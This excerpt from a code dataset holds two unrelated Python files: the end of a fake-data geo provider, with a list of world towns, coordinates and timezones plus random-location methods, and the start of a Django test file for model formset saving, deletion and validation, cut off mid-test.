"Europe/Warsaw"), ("50.5107", "18.30056", "Strzelce Opolskie", "PL", "Europe/Warsaw"), ("54.60528", "18.34717", "Reda", "PL", "Europe/Warsaw"), ("50.20528", "19.27498", "Jaworzno", "PL", "Europe/Warsaw"), ("50.86079", "17.4674", "Brzeg", "PL", "Europe/Warsaw"), ("18.42745", "-67.15407", "Aguadilla", "PR", "America/Puerto_Rico"), ("18.03496", "-66.8499", "Yauco", "PR", "America/Puerto_Rico"), ("31.78336", "35.23388", "East Jerusalem", "PS", "Asia/Hebron"), ("38.72706", "-9.24671", "Carnaxide", "PT", "Europe/Lisbon"), ("37.08819", "-8.2503", "Albufeira", "PT", "Europe/Lisbon"), ("41.20485", "-8.33147", "Paredes", "PT", "Europe/Lisbon"), ("41.1053", "-7.32097", "Custoias", "PT", "Europe/Lisbon"), ("37.74615", "-25.66689", "Ponta Delgada", "PT", "Atlantic/Azores"), ("-20.88231", "55.4504", "Saint-Denis", "RE", "Indian/Reunion"), ("44.43579", "26.01649", "Sector 6", "RO", "Europe/Bucharest"), ("44.22639", "22.53083", "Negotin", "RS", "Europe/Belgrade"), ("44.97639", "19.61222", "Sremska Mitrovica", "RS", "Europe/Belgrade"), ("53.53395", "33.72798", "Zhukovka", "RU", "Europe/Moscow"), ("46.7055", "38.2739", "Yeysk", "RU", "Europe/Moscow"), ("44.98901", "38.94324", "Yablonovskiy", "RU", "Europe/Moscow"), ("56.03361", "35.96944", "Volokolamsk", "RU", "Europe/Moscow"), ("57.97472", "33.2525", "Valday", "RU", "Europe/Moscow"), ("56.85836", "35.90057", "Tver", "RU", "Europe/Moscow"), ("55.62047", "37.49338", "Tyoply Stan", "RU", "Europe/Moscow"), ("54.90083", "38.07083", "Stupino", "RU", "Europe/Moscow"), ("55.63711", "37.38115", "Solntsevo", "RU", "Europe/Moscow"), ("59.80917", "30.38167", "Shushary", "RU", "Europe/Moscow"), ("64.5635", "39.8302", "Severodvinsk", "RU", "Europe/Moscow"), ("51.78771", "56.36091", "Saraktash", "RU", "Asia/Yekaterinburg"), ("53.95278", "32.86389", "Roslavl’", "RU", "Europe/Moscow"), ("51.40944", "46.04833", "Privolzhskiy", "RU", "Europe/Saratov"), ("61.78491", "34.34691", "Petrozavodsk", "RU", "Europe/Moscow"), ("53.37596", "51.3452", "Otradnyy", "RU", "Europe/Samara"), ("54.48147", "53.47103", "Oktyabr’skiy", "RU", "Asia/Yekaterinburg"), ("43.96222", "43.63417", "Novopavlovsk", "RU", "Europe/Moscow"), ("53.53041", "43.67663", "Nizhniy Lomov", "RU", "Europe/Moscow"), ("55.38752", "36.73307", "Naro-Fominsk", "RU", "Europe/Moscow"), ("50.06", "43.2379", "Mikhaylovka", "RU", "Europe/Volgograd"), ("55.64776", "38.02486", "Malakhovka", "RU", "Europe/Moscow"), ("55.85", "37.56667", "Likhobory", "RU", "Europe/Moscow"), ("51.4781", "57.3552", "Kuvandyk", "RU", "Asia/Yekaterinburg"), ("44.92934", "37.99117", "Krymsk", "RU", "Europe/Moscow"), ("54.03876", "43.91385", "Kovylkino", "RU", "Europe/Moscow"), ("60.02427", "30.28491", "Kolomyagi", "RU", "Europe/Moscow"), ("53.93361", "37.92792", "Kireyevsk", "RU", "Europe/Moscow"), ("54.84444", "38.16694", "Kashira", "RU", "Europe/Moscow"), ("58.7002", "59.4839", "Kachkanar", "RU", "Asia/Yekaterinburg"), ("43.35071", "46.10925", "Gudermes", "RU", "Europe/Moscow"), ("57.30185", "39.85331", "Gavrilov-Yam", "RU", "Europe/Moscow"), ("53.59782", "34.33825", "Dyat’kovo", "RU", "Europe/Moscow"), ("58.1908", "40.17171", "Danilov", "RU", "Europe/Moscow"), ("42.819", "47.1192", "Buynaksk", "RU", "Europe/Moscow"), ("53.77166", "38.12408", "Bogoroditsk", "RU", "Europe/Moscow"), ("54.39304", "53.26023", "Bavly", "RU", "Europe/Moscow"), ("55.39485", "43.83992", "Arzamas", "RU", "Europe/Moscow"), ("54.8421", "46.5813", "Alatyr’", "RU", "Europe/Moscow"), ("58.63667", "59.80222", "Lesnoy", "RU", "Asia/Yekaterinburg"), ("55.8736", "85.4265", "Yashkino", "RU", "Asia/Novokuznetsk"), ("58.04254", "65.27258", "Tavda", "RU", "Asia/Yekaterinburg"), ("55.54028", "89.20083", "Sharypovo", "RU", "Asia/Krasnoyarsk"), ("53.30972", "83.62389", "Novosilikatnyy", "RU", "Asia/Barnaul"), ("58.23583", "92.48278", "Lesosibirsk", "RU", "Asia/Krasnoyarsk"), ("56.11281", "69.49015", "Ishim", "RU", "Asia/Yekaterinburg"), ("56.9083", "60.8019", "Beryozovsky", "RU", "Asia/Yekaterinburg"), ("55.75556", "60.70278", "Ozersk", "RU", "Asia/Yekaterinburg"), ("51.82721", "107.60627", "Ulan-Ude", "RU", "Asia/Irkutsk"), ("45.47885", "133.42825", "Lesozavodsk", "RU", "Asia/Vladivostok"), ("65.93381", "111.4834", "Aykhal", "RU", "Asia/Yakutsk"), ("53.14657", "140.72287", "Nikolayevsk-on-Amure", "RU", "Asia/Vladivostok"), ("60.97944", "76.92421", "Izluchinsk", "RU", "Asia/Yekaterinburg"), ("-1.9487", "30.4347", "Rwamagana", "RW", "Africa/Kigali"), ("27.0174", "49.62251", "Al Jubayl", "SA", "Asia/Riyadh"), ("11.8659", "34.3869", "Ar Ruseris", "SD", "Africa/Khartoum"), ("61.72744", "17.10558", "Hudiksvall", "SE", "Europe/Stockholm"), ("59.33333", "18.28333", "Boo", "SE", "Europe/Stockholm"), ("48.8449", "17.22635", "Skalica", "SK", "Europe/Bratislava"), ("48.43174", "17.8031", "Hlohovec", "SK", "Europe/Bratislava"), ("8.48714", "-13.2356", "Freetown", "SL", "Africa/Freetown"), ("-0.35817", "42.54536", "Kismayo", "SO", "Africa/Mogadishu"), ("9.89206", "43.38531", "Baki", "SO", "Africa/Mogadishu"), ("13.73417", "-89.71472", "Sonzacate", "SV", "America/El_Salvador"), ("13.70167", "-89.10944", "Ilopango", "SV", "America/El_Salvador"), ("34.5624", "38.28402", "Tadmur", "SY", "Asia/Damascus"), ("35.95664", "36.7138", "Binnish", "SY", "Asia/Damascus"), ("12.18441", "18.69303", "Mongo", "TD", "Africa/Ndjamena"), ("15.46063", "99.89166", "Thap Than", "TH", "Asia/Bangkok"), ("8.43333", "99.96667", "Nakhon Si Thammarat", "TH", "Asia/Bangkok"), ("13.51825", "99.95469", "Damnoen Saduak", "TH", "Asia/Bangkok"), ("15.79408", "104.1451", "Yasothon", "TH", "Asia/Bangkok"), ("6.25947", "102.05461", "Tak Bai", "TH", "Asia/Bangkok"), ("16.0567", "103.65309", "Roi Et", "TH", "Asia/Bangkok"), ("13.44581", "101.18445", "Phanat Nikhom", "TH", "Asia/Bangkok"), ("13.8196", "100.04427", "Nakhon Pathom", "TH", "Asia/Bangkok"), ("14.64056", "104.64992", "Kantharalak", "TH", "Asia/Bangkok"), ("15.58552", "102.42587", "Bua Yai", "TH", "Asia/Bangkok"), ("14.37395", "100.48528", "Bang Ban", "TH", "Asia/Bangkok"), ("38.55632", "69.01354", "Vahdat", "TJ", "Asia/Dushanbe"), ("-8.99167", "125.21972", "Maliana", "TL", "Asia/Dili"), ("36.08497", "9.37082", "Siliana", "TN", "Africa/Tunis"), ("35.72917", "10.58082", "Msaken", "TN", "Africa/Tunis"), ("36.46917", "10.78222", "Beni Khiar", "TN", "Africa/Tunis"), ("37.16911", "10.03478", "El Alia", "TN", "Africa/Tunis"), ("38.13708", "41.00817", "Silvan", "TR", "Europe/Istanbul"), ("39.22493", "42.85693", "Patnos", "TR", "Europe/Istanbul"), ("37.31309", "40.74357", "Mardin", "TR", "Europe/Istanbul"), ("37.58105", "29.26639", "Serinhisar", "TR", "Europe/Istanbul"), ("37.05944", "37.3825", "Gaziantep", "TR", "Europe/Istanbul"), ("39.59611", "27.02444", "Edremit", "TR", "Europe/Istanbul"), ("39.12074", "27.18052", "Bergama", "TR", "Europe/Istanbul"), ("38.37255", "34.02537", "Aksaray", "TR", "Europe/Istanbul"), ("40.98894", "28.67582", "Yakuplu", "TR", "Europe/Istanbul"), ("40.1675", "34.37389", "Sungurlu", "TR", "Europe/Istanbul"), ("40.37528", "28.88222", "Mudanya", "TR", "Europe/Istanbul"), ("10.66668", "-61.51889", "Port of Spain", "TT", "America/Port_of_Spain"), ("23.5654", "119.58627", "Magong", "TW", "Asia/Taipei"), ("-2.68333", "33", "Usagara", "TZ", "Africa/Dar_es_Salaam"), ("-4.06667", "37.73333", "Same", "TZ", "Africa/Dar_es_Salaam"), ("-6.25", "38.66667", "Mvomero", "TZ", "Africa/Dar_es_Salaam"), ("-4.83", "29.65806", "Mwandiga", "TZ", "Africa/Dar_es_Salaam"), ("-6.8", "39.25", "Magomeni", "TZ", "Africa/Dar_es_Salaam"), ("-7.60361", "37.00438", "Kidodi", "TZ", "Africa/Dar_es_Salaam"), ("-7.76667", "35.7", "Iringa", "TZ", "Africa/Dar_es_Salaam"), ("-5.41667", "38.01667", "Chanika", "TZ", "Africa/Dar_es_Salaam"), ("-10.33333", "39.28333", "Nyangao", "TZ", "Africa/Dar_es_Salaam"), ("49.07866", "30.96755", "Zvenihorodka", "UA", "Europe/Kiev"), ("47.56494", "31.33078", "Voznesensk", "UA", "Europe/Kiev"), ("49.41029", "38.15035", "Svatove", "UA", "Europe/Zaporozhye"), ("50.18545", "27.06365", "Shepetivka", "UA", "Europe/Kiev"), ("47.48444", "36.25361", "Polohy", "UA", "Europe/Zaporozhye"), ("46.75451", "33.34864", "Nova Kakhovka", "UA", "Europe/Kiev"), ("50.75932", "25.34244", "Lutsk", "UA", "Europe/Kiev"), ("49.65186", "26.97253", "Krasyliv", "UA", "Europe/Kiev"), ("46.65581", "32.6178", "Kherson", "UA", "Europe/Kiev"), ("51.67822", "33.9162", "Hlukhiv", "UA", "Europe/Kiev"), ("45.99194", "29.41824", "Artsyz", "UA", "Europe/Kiev"), ("2.41669", "30.98551", "Paidha", "UG", "Africa/Kampala"), ("3.27833", "32.88667", "Kitgum", "UG", "Africa/Kampala"), ("3.02013", "30.91105", "Arua", "UG", "Africa/Kampala"), ("33.45122", "-86.99666", "Hueytown", "US", "America/Chicago"), ("33.44872", "-86.78777", "Vestavia Hills", "US", "America/Chicago"), ("35.25064", "-91.73625", "Searcy", "US", "America/Chicago"), ("26.68451", "-80.66756", "Belle Glade", "US", "America/New_York"), ("28.54944", "-81.77285", "Clermont", "US", "America/New_York"), ("28.90054", "-81.26367", "Deltona", "US", "America/New_York"), ("29.65163", "-82.32483", "Gainesville", "US", "America/New_York"), ("25.67927", "-80.31727", "Kendall", "US", "America/New_York"), ("28.15112", "-82.46148", "Lutz", "US", "America/New_York"), ("26.2173", "-80.22588", "North Lauderdale", "US", "America/New_York"), ("30.17746", "-81.38758", "Palm Valley", "US", "America/New_York"), ("26.91756", "-82.07842", "Punta Gorda Isles", "US", "America/New_York"), ("27.71809", "-82.35176", "Sun City Center", "US", "America/New_York"), ("27.09978", "-82.45426", "Venice", "US", "America/New_York"), ("34.06635", "-84.67837", "Acworth", "US", "America/New_York"), ("32.54044", "-82.90375", "Dublin", "US", "America/New_York"), ("33.08014", "-83.2321", "Milledgeville", "US", "America/New_York"), ("33.54428", "-84.23381", "Stockbridge", "US", "America/New_York"), ("38.58894", "-89.99038", "Fairview Heights", "US", "America/Chicago"), ("39.78504", "-85.76942", "Greenfield", "US", "America/Indiana/Indianapolis"), ("38.06084", "-97.92977", "Hutchinson", "US", "America/Chicago"), ("39.08367", "-84.50855", "Covington", "US", "America/New_York"), ("36.61033", "-88.31476", "Murray", "US", "America/Chicago"), ("29.84576", "-90.10674", "Estelle", "US", "America/Chicago"), ("32.52515", "-93.75018", "Shreveport", "US", "America/Chicago"), ("38.96372", "-76.99081", "Chillum", "US", "America/New_York"), ("38.70734", "-77.02303", "Fort Washington", "US", "America/New_York"), ("39.33427", "-76.43941", "Middle River", "US", "America/New_York"), ("39.32011", "-76.51552", "Rosedale", "US", "America/New_York"), ("39.32288", "-76.72803", "Woodlawn", "US", "America/New_York"), ("39.09112", "-94.41551", "Independence", "US", "America/Chicago"), ("37.95143", "-91.77127", "Rolla", "US", "America/Chicago"), ("33.41012", "-91.06177", "Greenville", "US", "America/Chicago"), ("34.25807", "-88.70464", "Tupelo", "US", "America/Chicago"), ("35.05266", "-78.87836", "Fayetteville", "US", "America/New_York"), ("34.25628", "-78.04471", "Leland", "US", "America/New_York"), ("35.88264", "-80.08199", "Thomasville", "US", "America/New_York"), ("39.71734", "-74.96933", "Sicklerville", "US", "America/New_York"), ("39.43534", "-84.20299", "Lebanon", "US", "America/New_York"), ("34.77453", "-96.67834", "Ada", "US", "America/Chicago"), ("35.74788", "-95.36969", "Muskogee", "US", "America/Chicago"), ("39.96097", "-75.60804", "West Chester", "US", "America/New_York"), ("33.98154", "-81.23621", "Lexington", "US", "America/New_York"), ("36.02506", "-86.77917", "Brentwood Estates", "US", "America/Chicago"), ("35.61452", "-88.81395", "Jackson", "US", "America/Chicago"), ("32.44874", "-99.73314", "Abilene", "US", "America/Chicago"), ("30.16688", "-96.39774", "Brenham", "US", "America/Chicago"), ("31.12406", "-97.90308", "Copperas Cove", "US", "America/Chicago"), ("29.53885", "-95.44744", "Fresno", "US", "America/Chicago"), ("30.5427", "-97.54667", "Hutto", "US", "America/Chicago"), ("32.5007", "-94.74049", "Longview", "US", "America/Chicago"), ("31.76212", "-95.63079", "Palestine", "US", "America/Chicago"), ("26.18924", "-98.15529", "San Juan", "US", "America/Chicago"), ("32.35126", "-95.30106", "Tyler", "US", "America/Chicago"), ("37.52487", "-77.55777", "Bon Air", "US", "America/New_York"), ("38.91817", "-78.19444", "Front Royal", "US", "America/New_York"), ("37.60876", "-77.37331", "Mechanicsville", "US", "America/New_York"), ("39.00622", "-77.4286", "Sterling", "US", "America/New_York"), ("39.45621", "-77.96389", "Martinsburg", "US", "America/New_York"), ("41.27621", "-72.86843", "East Haven", "US", "America/New_York"), ("41.14676", "-73.49484", "New Canaan", "US", "America/New_York"), ("41.55815", "-73.0515", "Waterbury", "US", "America/New_York"), ("41.6764", "-91.58045", "Coralville", "US", "America/Chicago"), ("41.57721", "-93.71133", "West Des Moines", "US", "America/Chicago"), ("41.15376", "-87.88754", "Bourbonnais", "US", "America/Chicago"), ("42.24113", "-88.3162", "Crystal Lake", "US", "America/Chicago"), ("41.72059", "-87.70172", "Evergreen Park", "US", "America/Chicago"), ("42.16808", "-88.42814", "Huntley", "US", "America/Chicago"), ("41.8542", "-87.66561", "Lower West Side", "US", "America/Chicago"), ("41.80753", "-87.65644", "New City", "US", "America/Chicago"), ("40.56754", "-89.64066", "Pekin", "US", "America/Chicago"), ("41.84364", "-87.71255", "South Lawndale", "US", "America/Chicago"), ("41.85059", "-87.882", "Westchester", "US", "America/Chicago"), ("41.75338", "-86.11084", "Granger", "US", "America/Indiana/Indianapolis"), ("41.47892", "-87.45476", "Schererville", "US", "America/Chicago"), ("42.35843", "-71.05977", "Boston", "US", "America/New_York"), ("42.58342", "-71.8023", "Fitchburg", "US", "America/New_York"), ("42.4251", "-71.06616", "Malden", "US", "America/New_York"), ("42.52787", "-70.92866", "Peabody", "US", "America/New_York"), ("41.9001", "-71.08977", "Taunton", "US", "America/New_York"), ("43.91452", "-69.96533", "Brunswick", "US", "America/New_York"), ("42.30865", "-83.48216", "Canton", "US", "America/Detroit"), ("46.09273", "-88.64235", "Iron River", "US", "America/Menominee"), ("42.97086", "-82.42491", "Port Huron", "US", "America/Detroit"), ("42.7392", "-84.62081", "Waverly", "US", "America/Detroit"), ("45.0408", "-93.263", "Columbia Heights", "US", "America/Chicago"), ("45.16024", "-93.08883", "Lino Lakes", "US", "America/Chicago"), ("44.73941", "-93.12577", "Rosemount", "US", "America/Chicago"), ("47.92526", "-97.03285", "Grand Forks", "US", "America/Chicago"), ("42.93369", "-72.27814", "Keene", "US", "America/New_York"), ("40.94065", "-73.99681", "Dumont", "US", "America/New_York"), ("40.72816", "-74.07764", "Jersey City", "US", "America/New_York"), ("40.82232", "-74.15987", "Nutley", "US", "America/New_York"), ("40.65538", "-74.38987", "Scotch Plains", "US", "America/New_York"), ("40.5576", "-74.28459", "Woodbridge", "US", "America/New_York"), ("40.57788", "-73.95958", "Brighton Beach", "US", "America/New_York"), ("40.67705", "-73.89125", "Cypress Hills", "US", "America/New_York"), ("40.60538", "-73.75513", "Far Rockaway", "US", "America/New_York"), ("40.72371", "-73.95097", "Greenpoint", "US", "America/New_York"), ("40.64621", "-73.97069", "Kensington", "US", "America/New_York"), ("40.68066", "-73.47429", "Massapequa", "US", "America/New_York"), ("41.50343", "-74.01042", "Newburgh", "US", "America/New_York"), ("40.63316", "-74.13653", "Port Richmond", "US", "America/New_York"), ("41.0051", "-73.78458", "Scarsdale", "US", "America/New_York"), ("43.1009", "-75.23266", "Utica", "US", "America/New_York"), ("40.93121", "-73.89875", "Yonkers", "US", "America/New_York"), ("41.55838", "-81.56929", "Collinwood", "US", "America/New_York"), ("41.48199", "-81.79819", "Lakewood", "US", "America/New_York"), ("41.24255", "-82.61573", "Norwalk", "US", "America/New_York"), ("41.66394", "-83.55521", "Toledo", "US", "America/New_York"), ("40.2737", "-76.88442", "Harrisburg", "US", "America/New_York"), ("40.24537", "-75.64963", "Pottstown", "US", "America/New_York"), ("41.54566", "-71.29144", "Middletown", "US", "America/New_York"), ("43.61062", "-72.97261", "Rutland", "US", "America/New_York"), ("44.27804", "-88.27205", "Kaukauna", "US", "America/Chicago"), ("42.55308", "-87.93341", "Pleasant Prairie", "US", "America/Chicago"), ("41.16704", "-73.20483", "Bridgeport", "US", "America/New_York"), ("33.35283", "-111.78903", "Gilbert", "US", "America/Phoenix"), ("33.50921", "-111.89903", "Scottsdale", "US", "America/Phoenix"), ("38.17492", "-122.2608", "American Canyon", "US", "America/Los_Angeles"), ("33.92946", "-116.97725", "Beaumont", "US", "America/Los_Angeles"), ("34.21639", "-119.0376", "Camarillo", "US", "America/Los_Angeles"), ("34.09668", "-117.71978", "Claremont", "US", "America/Los_Angeles"), ("38.54491", "-121.74052", "Davis", "US", "America/Los_Angeles"), ("33.03699", "-117.29198", "Encinitas", "US", "America/Los_Angeles"), ("34.14251", "-118.25508", "Glendale", "US", "America/Los_Angeles"), ("33.7207", "-116.21677", "Indio", "US", "America/Los_Angeles"), ("33.52253", "-117.70755", "Laguna Niguel", "US", "America/Los_Angeles"), ("34.63915", "-120.45794", "Lompoc", "US", "America/Los_Angeles"), ("32.9156", "-117.14392", "Mira Mesa", "US", "America/Los_Angeles"), ("33.93113", "-117.54866", "Norco", "US", "America/Los_Angeles"), ("33.72255", "-116.37697", "Palm Desert", "US", "America/Los_Angeles"), ("36.06523", "-119.01677", "Porterville", "US", "America/Los_Angeles"), ("37.73604", "-120.93549", "Riverbank", "US", "America/Los_Angeles"), ("34.09611", "-118.10583", "San Gabriel", "US", "America/Los_Angeles"), ("34.95303", "-120.43572", "Santa Maria", "US", "America/Los_Angeles"), ("33.95015", "-118.03917", "South Whittier", "US", "America/Los_Angeles"), ("33.76446", "-117.79394", "North Tustin", "US", "America/Los_Angeles"), ("36.91023", "-121.75689", "Watsonville", "US", "America/Los_Angeles"), ("39.72943", "-104.83192", "Aurora", "US", "America/Denver"), ("39.57582", "-105.11221", "Ken Caryl", "US", "America/Denver"), ("32.42067", "-104.22884", "Carlsbad", "US", "America/Denver"), ("36.20829", "-115.98391", "Pahrump", "US", "America/Los_Angeles"), ("31.84568", "-102.36764", "Odessa", "US", "America/Chicago"), ("40.58654", "-122.39168", "Redding", "US", "America/Los_Angeles"), ("43.54072", "-116.56346", "Nampa", "US", "America/Boise"), ("45.49428", "-122.86705", "Aloha", "US", "America/Los_Angeles"), ("44.99012", "-123.02621", "Keizer", "US", "America/Los_Angeles"), ("45.53929", "-122.38731", "Troutdale", "US", "America/Los_Angeles"), ("40.65995", "-111.99633", "Kearns", "US", "America/Denver"), ("40.34912", "-111.90466", "Saratoga Springs", "US", "America/Denver"), ("47.76232", "-122.2054", "Bothell", "US", "America/Los_Angeles"), ("47.38093", "-122.23484", "Kent", "US", "America/Los_Angeles"), ("47.64995", "-117.23991", "Opportunity", "US", "America/Los_Angeles"), ("46.32374", "-120.00865", "Sunnyside", "US", "America/Los_Angeles"), ("20.88953", "-156.47432", "Kahului", "US", "Pacific/Honolulu"), ("40.81", "-73.9625", "Morningside Heights", "US", "America/New_York"), ("43.16547", "-77.70066", "Gates-North Gates", "US", "America/New_York"), ("47.4943", "-122.24092", "Bryn Mawr-Skyway", "US", "America/Los_Angeles"), ("47.80527", "-122.24064", "Bothell West", "US", "America/Los_Angeles"), ("37.71715", "-122.40433", "Visitacion Valley", "US", "America/Los_Angeles"), ("-33.38056", "-56.52361", "Durazno", "UY", "America/Montevideo"), ("41.29444", "69.67639", "Parkent", "UZ", "Asia/Tashkent"), ("40.11583", "67.84222", "Jizzax", "UZ", "Asia/Samarkand"), ("40.78206", "72.34424", "Andijon", "UZ", "Asia/Tashkent"), ("9.91861", "-68.30472", "Tinaquillo", "VE", "America/Caracas"), ("10.22677", "-67.33122", "La Victoria", "VE", "America/Caracas"), ("8.35122", "-62.64102", "Ciudad Guayana", "VE", "America/Caracas"), ("8.62261", "-70.20749", "Barinas", "VE", "America/Caracas"), ("10.29085", "105.75635", "Sa Dec", "VN", "Asia/Ho_Chi_Minh"), ("-17.73648", "168.31366", "Port-Vila", "VU", "Pacific/Efate"), ("42.62833", "20.89389", "Glogovac", "XK", "Europe/Belgrade"), ("14.53767", "46.83187", "Ataq", "YE", "Asia/Aden"), ("-27.76952", "30.79165", "Vryheid", "ZA", "Africa/Johannesburg"), ("-26.93366", "29.24152", "Standerton", "ZA", "Africa/Johannesburg"), ("-24.19436", "29.00974", "Mokopane", "ZA", "Africa/Johannesburg"), ) def coordinate(self, center=None, radius=0.001): """ Optionally center the coord and pick a point within radius. """ if center is None: return Decimal(str(self.generator.random.randint(-180000000, 180000000) / 1000000.0)).quantize( Decimal(".000001"), ) else: center = float(center) radius = float(radius) geo = self.generator.random.uniform(center - radius, center + radius) return Decimal(str(geo)).quantize(Decimal(".000001")) def latitude(self): # Latitude has a range of -90 to 90, so divide by two. return self.coordinate() / 2 def longitude(self): return self.coordinate() def latlng(self): return (self.latitude(), self.longitude()) def local_latlng(self, country_code='US', coords_only=False): """Returns a location known to exist on land in a country specified by `country_code`. Defaults to 'en_US'. See the `land_coords` list for available locations/countries. """ results = [loc for loc in self.land_coords if loc[3] == country_code] if results: place = self.random_element(results) return (place[0], place[1]) if coords_only else place def location_on_land(self, coords_only=False): """Returns a random tuple specifying a coordinate set guaranteed to exist on land. Format is `(latitude, longitude, place name, two-letter country code, timezone)` Pass `coords_only` to return coordinates without metadata. """ place = self.random_element(self.land_coords) return (place[0], place[1]) if coords_only else place
codeparrot/github-code-clean
from __future__ import unicode_literals import datetime import re from datetime import date from decimal import Decimal from django import forms from django.core.exceptions import ImproperlyConfigured from django.db import models from django.forms.models import (_get_foreign_key, inlineformset_factory, modelformset_factory, BaseModelFormSet) from django.test import TestCase, skipUnlessDBFeature from django.utils import six from .models import (Author, BetterAuthor, Book, BookWithCustomPK, BookWithOptionalAltEditor, AlternateBook, AuthorMeeting, CustomPrimaryKey, Place, Owner, Location, OwnerProfile, Restaurant, Product, Price, MexicanRestaurant, ClassyMexicanRestaurant, Repository, Revision, Person, Membership, Team, Player, Poet, Poem, Post) class DeletionTests(TestCase): def test_deletion(self): PoetFormSet = modelformset_factory(Poet, fields="__all__", can_delete=True) poet = Poet.objects.create(name='test') data = { 'form-TOTAL_FORMS': '1', 'form-INITIAL_FORMS': '1', 'form-MAX_NUM_FORMS': '0', 'form-0-id': str(poet.pk), 'form-0-name': 'test', 'form-0-DELETE': 'on', } formset = PoetFormSet(data, queryset=Poet.objects.all()) formset.save(commit=False) self.assertEqual(Poet.objects.count(), 1) formset.save() self.assertTrue(formset.is_valid()) self.assertEqual(Poet.objects.count(), 0) def test_add_form_deletion_when_invalid(self): """ Make sure that an add form that is filled out, but marked for deletion doesn't cause validation errors. """ PoetFormSet = modelformset_factory(Poet, fields="__all__", can_delete=True) poet = Poet.objects.create(name='test') # One existing untouched and two new unvalid forms data = { 'form-TOTAL_FORMS': '3', 'form-INITIAL_FORMS': '1', 'form-MAX_NUM_FORMS': '0', 'form-0-id': six.text_type(poet.id), 'form-0-name': 'test', 'form-1-id': '', 'form-1-name': 'x' * 1000, # Too long 'form-2-id': six.text_type(poet.id), # Violate unique constraint 'form-2-name': 'test2', } formset = PoetFormSet(data, queryset=Poet.objects.all()) # Make sure this form doesn't pass validation. self.assertEqual(formset.is_valid(), False) self.assertEqual(Poet.objects.count(), 1) # Then make sure that it *does* pass validation and delete the object, # even though the data in new forms aren't actually valid. data['form-0-DELETE'] = 'on' data['form-1-DELETE'] = 'on' data['form-2-DELETE'] = 'on' formset = PoetFormSet(data, queryset=Poet.objects.all()) self.assertEqual(formset.is_valid(), True) formset.save() self.assertEqual(Poet.objects.count(), 0) def test_change_form_deletion_when_invalid(self): """ Make sure that a change form that is filled out, but marked for deletion doesn't cause validation errors. """ PoetFormSet = modelformset_factory(Poet, fields="__all__", can_delete=True) poet = Poet.objects.create(name='test') data = { 'form-TOTAL_FORMS': '1', 'form-INITIAL_FORMS': '1', 'form-MAX_NUM_FORMS': '0', 'form-0-id': six.text_type(poet.id), 'form-0-name': 'x' * 1000, } formset = PoetFormSet(data, queryset=Poet.objects.all()) # Make sure this form doesn't pass validation. self.assertEqual(formset.is_valid(), False) self.assertEqual(Poet.objects.count(), 1) # Then make sure that it *does* pass validation and delete the object, # even though the data isn't actually valid. data['form-0-DELETE'] = 'on' formset = PoetFormSet(data, queryset=Poet.objects.all()) self.assertEqual(formset.is_valid(), True) formset.save() self.assertEqual(Poet.objects.count(), 0) def test_outdated_deletion(self): poet = Poet.objects.create(name='test') poem = Poem.objects.create(name='Brevity is the soul of wit', poet=poet) PoemFormSet = inlineformset_factory(Poet, Poem, fields="__all__", can_delete=True) # Simulate deletion of an object that doesn't exist in the database data = { 'form-TOTAL_FORMS': '2', 'form-INITIAL_FORMS': '2', 'form-0-id': str(poem.pk), 'form-0-name': 'foo', 'form-1-id': str(poem.pk + 1), # doesn't exist 'form-1-name': 'bar', 'form-1-DELETE': 'on', } formset = PoemFormSet(data, instance=poet, prefix="form") # The formset is valid even though poem.pk + 1 doesn't exist, # because it's marked for deletion anyway self.assertTrue(formset.is_valid()) formset.save() # Make sure the save went through correctly self.assertEqual(Poem.objects.get(pk=poem.pk).name, "foo") self.assertEqual(poet.poem_set.count(), 1) self.assertFalse(Poem.objects.filter(pk=poem.pk + 1).exists()) class ModelFormsetTest(TestCase): def test_modelformset_factory_without_fields(self): """ Regression for #19733 """ message = ( "Calling modelformset_factory without defining 'fields' or 'exclude' " "explicitly is prohibited." ) with self.assertRaisesMessage(ImproperlyConfigured, message): modelformset_factory(Author) def test_simple_save(self): qs = Author.objects.all() AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=3) formset = AuthorFormSet(queryset=qs) self.assertEqual(len(formset.forms), 3) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_form-0-name">Name:</label> <input id="id_form-0-name" type="text" name="form-0-name" maxlength="100" /><input type="hidden" name="form-0-id" id="id_form-0-id" /></p>') self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_form-1-name">Name:</label> <input id="id_form-1-name" type="text" name="form-1-name" maxlength="100" /><input type="hidden" name="form-1-id" id="id_form-1-id" /></p>') self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_form-2-name">Name:</label> <input id="id_form-2-name" type="text" name="form-2-name" maxlength="100" /><input type="hidden" name="form-2-id" id="id_form-2-id" /></p>') data = { 'form-TOTAL_FORMS': '3', # the number of forms rendered 'form-INITIAL_FORMS': '0', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-name': 'Charles Baudelaire', 'form-1-name': 'Arthur Rimbaud', 'form-2-name': '', } formset = AuthorFormSet(data=data, queryset=qs) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 2) author1, author2 = saved self.assertEqual(author1, Author.objects.get(name='Charles Baudelaire')) self.assertEqual(author2, Author.objects.get(name='Arthur Rimbaud')) authors = list(Author.objects.order_by('name')) self.assertEqual(authors, [author2, author1]) # Gah! We forgot Paul Verlaine. Let's create a formset to edit the # existing authors with an extra form to add him. We *could* pass in a # queryset to restrict the Author objects we edit, but in this case # we'll use it to display them in alphabetical order by name. qs = Author.objects.order_by('name') AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=1, can_delete=False) formset = AuthorFormSet(queryset=qs) self.assertEqual(len(formset.forms), 3) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_form-0-name">Name:</label> <input id="id_form-0-name" type="text" name="form-0-name" value="Arthur Rimbaud" maxlength="100" /><input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" /></p>' % author2.id) self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_form-1-name">Name:</label> <input id="id_form-1-name" type="text" name="form-1-name" value="Charles Baudelaire" maxlength="100" /><input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" /></p>' % author1.id) self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_form-2-name">Name:</label> <input id="id_form-2-name" type="text" name="form-2-name" maxlength="100" /><input type="hidden" name="form-2-id" id="id_form-2-id" /></p>') data = { 'form-TOTAL_FORMS': '3', # the number of forms rendered 'form-INITIAL_FORMS': '2', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-id': str(author2.id), 